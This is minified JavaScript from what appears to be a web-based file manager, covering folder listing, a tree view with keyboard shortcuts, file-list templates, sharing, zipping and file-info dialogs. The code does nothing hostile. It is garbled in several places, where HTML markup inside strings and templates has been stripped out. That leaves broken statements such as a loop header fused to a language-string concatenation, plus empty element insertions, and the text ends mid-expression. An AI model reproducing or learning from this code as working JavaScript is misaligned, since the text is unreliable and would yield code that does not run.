d=G.appHost+"explorer/pathList&path="+urlEncode(a);G.user&&(d=G.appHost+"share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a)),$.ajax({url:d,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(a){if($(".tools-left .msg").fadeOut(300),!a||!a.code)return Tips.tips(a),"function"==typeof c&&c(),!1;var d=jsonDataSort(a.data);"function"==typeof b&&b(d)},error:function(a,b,d){$(".tools-left .msg").fadeOut(300),core.ajaxError(a,b,d),"function"==typeof c&&c()}})},f5Callback=function(a){f5(!0,!1,a)},jsonDatafilter=function(a){if(!a)return a;if(void 0!=a.shareList&&(selfShare=a.shareList),a.filterSuccess===!0)return a;for(var b in a)if("fileList"==b||"folderList"==b)for(var c=0;c"+LNG.group_guest+"";$(".role-label-box").html(m),G.isRoot&&$(".role-label-box").html("")}else if(d==G.KOD_GROUP_PATH&&b.groupRole){var m=""+b.groupRole.name+"";$(".role-label-box").html(m)}(d==G.KOD_GROUP_ROOT_ALL||d==G.KOD_GROUP_ROOT_SELF||d==G.KOD_USER_FAV||d==G.KOD_GROUP_SHARE)&&$(".path-tips").hide(),1==G.isRoot&&b.adminRealPath?$(".admin-real-path").removeClass("hidden"):$(".admin-real-path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,init:function(){$(window).bind("resize",function(){resetTotalHeight(),core.isApp("desktop")?ui.resetDesktopIcon():ui.headerAddress.resetWidth()}),bindScrollLoadMore()}}});;define("app/path/tpl/file/list.html",[],"{{if itemPermission=G.isRoot?\"\":LNG.permission+' : '+list.mode+' '}}{{/if}} \n\n{{if list.menuType}}\n {{if itemClassName = ' '+list.menuType + ' systemBox ' }}{{/if}}\n{{else}}\n {{if type=='icon-folder' || type=='split-folder' || type=='list-folder' }}\n {{if itemClassName = ' folder-box menu-folder '}}{{/if}}\n {{else}}\n {{if itemClassName = ' file-box menu-file '}}{{/if}}\n {{/if}}\n{{/if}}\n{{if !list.sid && typeof(list.isReadable)!=\"undefined\"}}\n {{if itemClassName += !list.isWriteable?' file-not-writeable ':''}}{{/if}}\n {{if itemClassName += !list.isReadable?' file-not-readable ':''}}{{/if}}\n{{/if}}\n{{if typeof(list.exists)=='number' && list.exists==0}}\n {{if itemClassName += ' file-not-exists '}}{{/if}} \n{{/if}}\n\n\n{{if type=='icon-folder'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{fileIconMake('folder','icon',list)}}\n
          \n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n
          \n {{list.name}}\n
          \n
          \n\n\n{{else if type=='list-folder'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n \n {{if list.isParent&&list.isReadable}}{{/if}}\n \n
          \n {{fileIconMake('folder','list',list)}}\n
          \n {{list.name}}\n
          \n
          {{LNG.folder}}
          \n
          \n
          {{list.mtime || \"\"}}
          \n
          \n
          \n{{if list.isParent&&list.isReadable}}\n
          \n{{/if}}\n\n\n{{else if type=='split-folder'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n
          \n {{fileIconMake('folder','split',list)}}\n
          \n {{list.name}}\n \n {{if list.isReadable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
          \n
          \n\n\n{{else if type=='icon-file'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n {{fileIconMake('file','icon',list)}}\n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n
          \n \n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n \n
          \n
          \n\n\n{{else if type=='list-file'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n \n {{fileIconMake('file','list',list)}}\n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n \n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n \n
          \n
          {{list.ext |kod.window.htmlEncode}} {{LNG.file}}
          \n
          {{list.size |pathTools.fileSize}}
          \n
          {{list.mtime || \"\"}}
          \n
          \n
          \n\n\n{{else if type=='split-file'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{fileIconMake('file','split',list)}}\n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n \n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n \n
          \n
          \n{{/if}}\n\n");;define("app/common/tree",["../path/pathOperate","../path/tpl/fileinfo/fileInfo.html","../path/tpl/fileinfo/pathInfo.html","../path/tpl/share.html","../path/tpl/fileinfo/pathInfoMore.html","../path/tpl/appEdit.html","../path/clipboard","../path/search","../path/tpl/search.html","../path/tpl/searchList.html"],function(a,b){var c,d,e=a("../path/pathOperate"),f=a("../path/clipboard"),g=a("../path/search"),h=!1;ui.pathOperate=e;var i=function(a,b){var c=["menu-tree-group","menu-tree-fav","menu-tree-folder-fav"];if(a&&a[0]&&-1!==$.inArray(a[0].menuType,c))return a;for(var d=[],e=[],f=0;f'+LNG.system_error+"")},success:function(a){if(!a.code)return void $("#folder-list-tree").html('
          '+LNG.system_error+"
          ");var b=i(a.data,!0);b=j.reset(b),$.fn.zTree.init($("#folder-list-tree"),n,b),d=$.fn.zTree.getZTreeObj("folder-list-tree")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),core.isApp("editor")&&(Mousetrap.bind("up",function(a){l(a,"up")}).bind("down",function(a){l(a,"down")}).bind("left",function(a){l(a,"left")}).bind("right",function(a){l(a,"right")}),Mousetrap.bind("enter",function(a){tree.open()}).bind(["del","command+backspace"],function(a){tree.remove()}).bind("f2",function(a){stopPP(a),tree.rname()}).bind(["ctrl+f","command+f"],function(a){stopPP(a),tree.search()}).bind(["ctrl+c","command+c"],function(a){tree.copy()}).bind(["ctrl+x","command+x"],function(a){tree.cute()}).bind(["ctrl+v","command+v"],function(a){tree.past()}).bind("alt+m",function(a){tree.create("folder")}).bind("alt+n",function(a){tree.create("file")}))},l=function(a,b){stopPP(a);var c=d.getSelectedNodes()[0];if(c)switch(b){case"up":var e=c.getPreNode();if(e){if(e.open&&e.children.length>0)for(;e.open&&e.children&&e.children.length>=1;)e=e.children[e.children.length-1]}else e=c.getParentNode();d.selectNode(e);break;case"down":if(c.open&&c.children.length>=1)e=c.children[0];else{var f=c,e=f.getNextNode()||f.getParentNode().getNextNode();try{for(;!e;)f=f.getParentNode(),e=f.getNextNode()||f.getParentNode().getNextNode()}catch(a){}}d.selectNode(e);break;case"left":c.isParent&&c.open?d.expandNode(c,!1):d.selectNode(c.getParentNode());break;case"right":c.open?d.selectNode(c.children[0]):d.expandNode(c,!0)}},m=function(){return core.isApp("editor")?!1:!0},n={async:{enable:!0,dataType:"json",url:function(){return G.appHost+Config.treeAjaxURL},autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(a,b,c){return c.code?i(c.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(a,b){var c=15,d=$("#"+b.tId+"_switch"),e=$("#"+b.tId+"_ico");d.remove(),b.iconSkin=b.tree_icon;var f=b.tree_icon;if(b.ext?f=b.ext:b.tree_icon||(f=b.type),e.before(d).before(''+core.iconSmall(f)+"").remove(),void 0!=b.ext&&e.attr("class","").addClass("file "+b.ext).removeAttr("style"),b.level>=1){var g="";d.before(g)}d.before("");var h="";void 0!=b.menuType?h=b.menuType:(("file"==b.type||"oexe"==b.ext)&&(h="menu-tree-file"),"folder"==b.type&&(h="menu-tree-folder"));var i=LNG.name+":"+b.name+"\n"+LNG.size+":"+pathTools.fileSize(b.size)+"\n"+LNG.modify_time+":"+b.mtime;"file"!=b.type&&(i=b.name),d.parent().addClass(h).attr("title",i),0==b.isWriteable&&d.parent().addClass("file-not-writeable"),0==b.isReadable&&d.parent().addClass("file-not-readable"),0===b.exists&&d.parent().addClass("file-not-readable")}},callback:{onClick:function(a,b,c){if(0==c.level&&j.save(),$(a.target).hasClass("menu-item")||$(a.target).parent().hasClass("menu-item")){var e=$("#"+c.tId+"_a"),f=e.find(".menu-item");return e.contextMenu({x:f.offset().left+f.width(),y:f.offset().top}),stopPP(a)}return d.selectNode(c),core.isApp("editor")&&"folder"==c.type?void d.expandNode(c):void(core.isApp("editor")||"folder"!=c.type?(kodApp.setLastOpenTarget($("#"+c.tId)),kodApp.open(o().path)):ui.path.list(c.path))},beforeDblClick:function(){return!0},onCollapse:function(a,b,c){0==c.level&&j.save()},onExpand:function(a,b,c){0==c.level&&j.save()},onDblClick:function(a,b,c){return $(a.target).hasClass("switch")||!m()?!1:void d.expandNode(c)},beforeRightClick:function(a,b){d.selectNode(b)},beforeAsync:function(a,b){b.ajax_name=b.name,b.ajax_path=b.path,$("#"+b.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(a,b,e,f){return $("#"+e.tId+"_my_ico").removeClass("ico_loading"),0==f.data.length?void d.removeChildNodes(e):void("function"==typeof c&&(c(),c=void 0))},onRename:function(a,b,f,g){var h=f.getParentNode();if(d.getNodesByParam("name",f.name,h).length>1)return Tips.tips(LNG.name_isexists,!1),void d.removeNode(f);if(f.create){var i=f.path+"/"+f.name;"folder"==f.type?e.newFolder(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)}):e.newFile(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)})}else{var j=rtrim(f.path,"/"),k=core.pathFather(f.path)+f.name;e.rname(j,k,function(a){f.path=a,c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t(),"folder"==f.type&&ui.path.list(f.path)},p(h)})}},beforeDrag:function(a,b){for(var c=0,d=b.length;d>c;c++)if(b[c].drag===!1)return!1;return!0},beforeDrop:function(a,b,c,d){return c?c.drop!==!1:!0},onDrop:function(a,b,c,d,e){var g="",h="",i=c[0];(i.father||i.thisPath)&&(g=i.father+urlEncode(i.name),h=d.father+urlEncode(d.name),f.cuteDrag([{path:g,type:i.type}],h,function(){p(i)}))}}},o=function(a){if(d){var b=d.getSelectedNodes()[0],c="";return b?(c=b.type,("_null_"==c||void 0==c)&&(c="folder"),"file"==c&&(c=b.ext),a?[{path:b.path,type:c,node:b}]:{path:b.path,type:c,node:b}):{path:"",type:""}}},p=function(a){return a||(a=d.getSelectedNodes()[0]),a.isParent||(a=a.getParentNode())?void d.reAsyncChildNodes(a,"refresh"):void ui.tree.init()},q=function(){s(G.KOD_USER_FAV),t()},r=function(){q(),s(G.KOD_GROUP_ROOT_SELF),s(G.KOD_GROUP_ROOT_ALL)},s=function(a){var b=d.getNodesByParam("path",a,null);p(b[0])},t=function(){core.isApp("explorer")&&ui.f5()};return{makeParam:o,treeOpenHistory:j,treeDataSort:i,init:k,refresh:p,refreshPath:s,refreshFav:q,refreshGroup:r,zTree:function(){return d},openEditor:function(){kodApp.open(o().path)},openWindow:function(){kodApp.openWindow(o().path)},share:function(){e.share(o())},download:function(){"folder"==o().type?e.zipDownload(o(!0)):kodApp.download(o().path)},setSelect:function(a){return},open:function(){if(!($(".dialog-path-remove").length>=1)){var a=o();"oexe"==a.type&&(a.path=a.node),kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(a.path,a.type)}},fav:function(){var a=o();a.name=a.node.name,a.node="null",e.fav(a)},createLink:function(a){var b=o();e.createLink(b.path,b.node.name,b.type,a,t)},search:function(){g("",o().path)},appEdit:function(){var a=o(),b=a.node;b.path=a.path,e.appEdit(b,function(){p(a.node.getParentNode())})},info:function(){e.info(o(!0))},copy:function(){f.copy(o(!0))},cute:function(){f.cute(o(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(a){f.copyDrag(o(!0),a,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(a){f.cuteDrag(o(!0),a,function(){s()})})},past:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.past(a.path,function(){t(),p(a.node)})},clone:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.copyDrag(o(!0),core.pathFather(a.path),function(){t(),p("folder"==a.type?a.node.getParentNode():a.node)},!0)},favRemove:function(a){e.favRemove(o().node.name,function(a){Tips.tips(a),q()})},remove:function(){var a=o(!0),b=a[0].node.getParentNode();a[0].type=a[0].node.type,a[0].type="folder"==a[0].type?"folder":"file",e.remove(a,function(){t(),p(b)})},checkIfChange:function(a){h||(h=!0,d&&(d.getNodesByFilter(function(b){var c=b.path;return"folder"==b.type&&core.pathClear(c)==core.pathClear(a)&&p(b),!1},!0),setTimeout(function(){h=!1},500)))},explorer:function(){var a=d.getSelectedNodes();if(a.length<=0){var b=d.getNodes();d.selectNode(b[0])}var c=o().path;"folder"!=o().type&&(c=core.pathFather(c)),core.explorer(c)},openProject:function(){core.explorerCode(o().path)},create:function(a){var b=d.getSelectedNodes();if(b.length<=0){var e=d.getNodes();d.selectNode(e[0])}else"file"==b[0].type&&d.selectNode(b[0].getParentNode());var f=o(),g=f.node,h=g.getParentNode(),i=0,j="folder"==a?"":"."+a,k="folder"==a?LNG.newfolder:LNG.newfile;if(0==d.getNodesByParam("name",k+j,h).length)k+=j;else{for(;d.getNodesByParam("name",k+"("+i+")"+j,h).length>0;)i++;k=k+"("+i+")"+j}var l={name:k,ext:j,type:a,create:!0,path:f.path};if(void 0!=g.children){var m=d.addNodes(g,l)[0];d.editName(m)}else"folder"!=g.type&&(g=g.getParentNode()),c=function(){var a=d.addNodes(g,l)[0];d.editName(a)},g.isParent?d.expandNode(g):c()},showFile:function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+o().path;window.open(a)},rname:function(){var a=d.getSelectedNodes()[0];d.editName(a),a.beforeName=a.name}}});;define("app/path/pathOperate",["./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/share.html","./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/fileinfo/pathInfoMore.html","./tpl/appEdit.html"],function(a,b){tplFileInfo=a("./tpl/fileinfo/fileInfo.html"),tplPathInfo=a("./tpl/fileinfo/pathInfo.html");var c=["/","\\",":","*","?",'"',"<",">","|"],d=["/","\\"],e=function(a){var b=function(a,b){for(var c=b.length,d=0;c>d;d++)if(a.indexOf(b[d])>0)return!0;return!1},e=d;return G.systemOS&&"windows"==G.systemOS&&(e=c),b(a,e)?(Tips.tips(LNG.path_not_allow+": "+e.join(", "),!1),!1):!0},f=function(a){for(var b=[],c=function(a){return a?a.replace(/"/g,'\\\\"'):a},d=0;d";"share"==a[0].type&&G.selfShare[a[0].path]&&(j=""+htmlEncode(G.selfShare[a[0].path].name)+""),g=a.length>1?j+' ... '+a.length+LNG.remove_item+"
          "+g:j+"
          "+g}var k=function(){$.ajax({url:h,type:"POST",dataType:"json",data:i,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(c){if(Tips.close(c),ShareData.frameTop("",function(a){a.ui.f5()}),"share"==a[0].type){G.selfShare=c.info;var d=$.dialog.list["share-dialog"];d&&d.close()}e==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof b&&b(c)}})};c?k():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:e,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
          "+g+"
          ",ok:k,cancel:!0})}},k=function(a){if(core.authCheck("explorer.fileDownload",!0)&&!(a.length<1)){var b=G.appHost+"explorer/zipDownload";"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:b,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(a){Tips.close(a),Tips.tips(a);var b=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(a.info);b+="&accessToken="+G.accessToken,"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},l=function(a,b,c){a.length<1||(c||(c="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+c,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof b&&b(a.info)}}))},m=function(a,b,c){if(a){var d=function(a){$.ajax({url:a,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(a){Tips.close(a),"function"==typeof b&&b(a)}})},e=G.appHost+"explorer/unzip&path="+urlEncode(a);"toThis"==c&&(e+="&toThis=1"),"toFolder"==c?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(a){e+="&pathTo="+a,d(e)}):d(e)}},n=function(a){var b=a.path,c=core.pathPre(b);if(c==G.KOD_GROUP_PATH||c==G.KOD_GROUP_SHARE||c==G.KOD_USER_SHARE)return void Tips.tips(LNG.path_can_not_share,"warning");var d="folder"==a.type?"folder":"file";b.length<1||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(b),dataType:"json",error:core.ajaxError,success:function(a){if(a.code)o(a.data);else{G.selfShare=a.info;var c={path:b,type:d,name:core.pathThis(b)};p(c,function(a){a.code?(G.selfShare=a.info,ui.f5(),o(a.data)):(Tips.tips(a),o(void 0,function(){$(".content-info input[name=type]").val(d),$(".content-info input[name=path]").val(b),$(".content-info input[name=name]").val(core.pathThis(b)+"(1)"),"file"==d&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},o=function(b,c){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){q(b),void 0!=c&&c()})},p=function(a,b){$.ajax({url:G.appHost+"userShare/set",data:a,type:"POST",dataType:"json",beforeSend:function(a){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(a){$(".share-create-button").removeClass("disabled"),void 0!=b&&b(a)}})},q=function(b){var c=a("./tpl/share.html"),d=template.compile(c),e=d({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:e});var f="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:f}),$("#share-time").unbind("blur").bind("blur",function(a){stopPP(a)});var g=function(a){if($(".share-setting-more").addClass("hidden"),void 0==a)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{a.options&&(a.codeRead=a.options.codeRead,a.canUpload=a.options.canUpload,a.notDownload=a.options.notDownload),"undefined"==typeof a.canUpload&&(a.canUpload=""),b=a,a.showName||(a.showName=a.name),$(".content-info input[name=sid]").val(a.sid),$(".content-info input[name=type]").val(a.type),$(".content-info input[name=name]").val(a.name),$(".content-info input[name=showName]").val(a.showName),$(".content-info input[name=path]").val(a.path),$(".content-info input[name=timeTo]").val(a.timeTo),$(".content-info input[name=sharePassword]").val(a.sharePassword),$(".share-view-info").removeClass("hidden"),"undefined"==typeof a.numDownload&&(a.numDownload=0),"undefined"==typeof a.numView&&(a.numView=0);var c=LNG.share_view_num+a.numView+" "+LNG.share_download_num+a.numDownload;$(".share-view-info").html(c),"1"==a.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==a.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==a.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==a.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var d=a.type;"folder"==a.type&&(d=1==a.codeRead?"codeRead":"folder");var e=G.appHost+"share/"+d+"&user="+G.userID+"&sid="+a.sid;$(".content-info .share-url").val(e),(a.timeTo||a.canUpload||a.codeRead||a.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save),Hook.trigger("explorer.path.share.uiInit")}},h=function(){var a="";$(".share-dialog .content-info input[name]").each(function(){var b=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(b=$(this).attr("checked")?"1":""),a+="&"+$(this).attr("name")+"="+b}),p(a,function(a){a.code?(Tips.tips(LNG.success,!0),G.selfShare=a.info,ui.f5()):Tips.tips(a)})},i=function(){$(".share-action .share-remove-button").unbind("click").click(function(){j([{type:"share",path:b.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$("[name=sharePassword]").unbind("click").click(function(){trim($(this).val())||$(this).val(roundString(5)),$(this).blur().textSelect()});var a=$(".share-dialog .btn.copy"),c=new ClipboardJS(a.get(0),{text:function(a){h();var b=trim($("[name=sharePassword]").val()),c=$(".share-url").val();return b.length>0&&(c=LNG.share_url+":"+c+" "+LNG.share_password+":"+b),c}});c.on("success",function(a){$("input.share-url").textSelect()}),$(".share-action .share-create-button").unbind("click").click(function(){h();var a=$.dialog.list["share-dialog"];a&&a.close()}),$(".content-info .open-window").unbind("click").bind("click",function(){h(),window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var d=$("input.share-url");d.get(0);d.unbind("hover click").bind("hover click",function(a){d.textSelect()})};g(b),i()},r=function(a){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(a){Tips.tips(a)}})},s=function(a,b,c,d,e){if(!(a.length<1)){var f,g=G.myDesktop;d&&(g=core.pathFather(a)),f="folder"==c?"ui.path.list(hashDecode('"+hashEncode(a)+"'));":"ui.path.open(hashDecode('"+hashEncode(a)+"'));";var h=urlEncode(g+b+".oexe"),i=core.getPathIcon(a);""==i.icon&&(i.icon=c),$.ajax({url:G.appHost+"explorer/mkfile&path="+h,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:f,icon:i.icon})},success:function(a){Tips.tips(a),a.code&&(ShareData.frameTop("",function(a){a.ui.f5()}),"function"==typeof e&&e(a.info))}})}},t=function(a,b){if(!(a.length<1)){var c=core.pathThis(a),d=core.pathFather(a);jsrun="core.explorerCode('"+urlEncode(a)+"');";var e=urlEncode(d+c+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+e,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(a){a.code&&"function"==typeof b&&b(a.info)}})}},u=function(a,b,c){if(a){var d=G.appHost+"explorer/imageRotate&rotate="+b+"&path="+urlEncode(a);$.ajax({url:d,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){return a?(Tips.close(a),void(a.code&&"function"==typeof c&&c(a))):void Tips.close(LNG.php_env_error_gd,!1)}})}},v=function(b){var c={};c.fileInfo=a("./tpl/fileinfo/fileInfo.html"),c.pathInfo=a("./tpl/fileinfo/pathInfo.html"),c.pathInfoMore=a("./tpl/fileinfo/pathInfoMore.html"),b.length<1&&(b=[{path:G.thisPath,type:"folder"}]);var d="info";1==b.length&&(d="file"==b[0].type?core.pathExt(b[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(f(b),function(a){if(!a.code)return void Tips.close(a);Tips.close(LNG.get_success,!0);var e="pathInfoMore",f=LNG.info;1==b.length&&(e="folder"==b[0].type?"pathInfo":"fileInfo",f=core.pathThis(b[0].path),f.length>15&&(f=f.substr(0,15)+"... "+LNG.info));var g=template.compile(c[e]),h=UUID();a.data.is_root=G.isRoot,a.data.LNG=LNG,a.data.atime=date(LNG.time_type_info,a.data.atime),a.data.ctime=date(LNG.time_type_info,a.data.ctime),a.data.mtime=date(LNG.time_type_info,a.data.mtime),a.data.sizeFriendly=pathTools.fileSize(a.data.size);var i=$.dialog({id:h,padding:5,ico:core.iconSmall(d),fixed:!0,title:f,content:g(a.data),ok:!0}),j=15*$(".aui-outer .pathinfo").length;i.DOM.wrap.css({left:"+="+j+"px",top:"+="+j+"px"}),w(h,b)})},w=function(a,b){var c=$("."+a);c.find(".open-window").bind("click",function(){window.open(c.find("input.download-url").val())}),c.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(c.find("input.download-url").val(),c.find(".qrcode").get(0))});var d=c.find(".file-md5-loading");if(1==d.length){var e=f(b);e+="&getMd5=1",core.fileInfo(e,function(a){d.removeClass("file-md5-loading"),a.code?d.html(a.data.fileMd5):d.html(LNG.error)})}var g=c.find("input.download-url"),h=g.get(0);g.unbind("hover click").bind("hover click",function(a){$(this).focus();var b=g.val().length;if($.browser.msie){var c=h.createTextRange();c.moveEnd("character",-h.value.length),c.moveEnd("character",b),c.moveStart("character",0),c.select()}else h.setSelectionRange(0,b)}),c.find(".edit-chmod").click(function(){var a=$(this).parent().find("input"),c=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+a.val(),type:"POST",data:f(b),beforeSend:function(){c.text(LNG.loading)},error:function(a){c.text(LNG.button_save)},success:function(a){c.text(a.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){c.text(LNG.button_save)}),a.code&&ui.f5()}})})},x=function(a,b,c){var d=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(a),dataType:"json",async:!1,success:function(a){"function"==typeof b&&b(a)}})};return c?void d():void $.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:d,cancel:!0})},y=function(a){if(a){if(-1==trim(core.pathClear(a.path),"/").indexOf("/")){var b=core.getPathIcon(a.path,a.name);""!=b.icon&&(a.ext=b.icon,a.name=b.name)}"/"==a.path&&(a.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:a,success:function(a){Tips.tips(a),a.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},z=function(a){var b={};return b.type=a.find("input[type=radio]:checked").val(),b.content=a.find("textarea").val(),b.group=a.find("[name=group]").val(),a.find("input[type=text]").each(function(){var a=$(this).attr("name");b[a]=$(this).val()}),a.find("input[type=checkbox]").each(function(){var a=$(this).attr("name");b[a]="checked"==$(this).attr("checked")?1:0}),b},A=function(a){a.find(".type input").change(function(){var b=$(this).attr("apptype");a.find("[data-type]").addClass("hidden"),a.find("[data-type="+b+"]").removeClass("hidden")}),a.find(".app-edit-select-icon").unbind("click").bind("click",function(){var b=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(b=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:b},function(b){var b=core.path2url(b);a.find(".app-edit-select-icon-input").val(b)})}),a.find(".size-full").unbind("click").bind("click",function(){var b=$(this).prop("checked");b?(a.find("[name=width]").val("100%"),a.find("[name=height]").val("100%")):(a.find("[name=width]").val("800"),a.find("[name=height]").val("600"))})},B=function(b,c,d){var e,f,g,h=LNG.app_create,i=UUID(),j=a("./tpl/appEdit.html"),k=template.compile(j);switch(void 0==d&&(d="userEdit"),"rootEdit"==d&&(b=b),"userEdit"==d||"rootEdit"==d?(h=LNG.app_edit,g=k({LNG:LNG,uuid:i,data:b,appType:G.settings.appType})):g=k({LNG:LNG,uuid:i,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:i,padding:15,title:h,content:g,button:[{name:LNG.preview,callback:function(){return core.openApp(z(e)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var a=z(e);switch(d){case"userAdd":var g=urlEncode(G.thisPath+a.name);f=G.appHost+"app/userApp&action=add&path="+g;break;case"userEdit":f=G.appHost+"app/userApp&path="+urlEncode(b.path);break;case"rootAdd":f=G.appHost+"app/add&name="+urlEncode(a.name);break;case"rootEdit":f=G.appHost+"app/edit&name="+urlEncode(a.name)+"&old_name="+urlEncode(b.name)}$.ajax({url:f,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),a.code)if("rootEdit"==d||"rootAdd"==d){if(!a.code)return;ShareData.frameTop("Openapp_store",function(a){a.App.reload()})}else"function"==typeof c?c():ui.f5()}})}}]}),e=$("."+i),G.isRoot||$(".appbox .appline .right 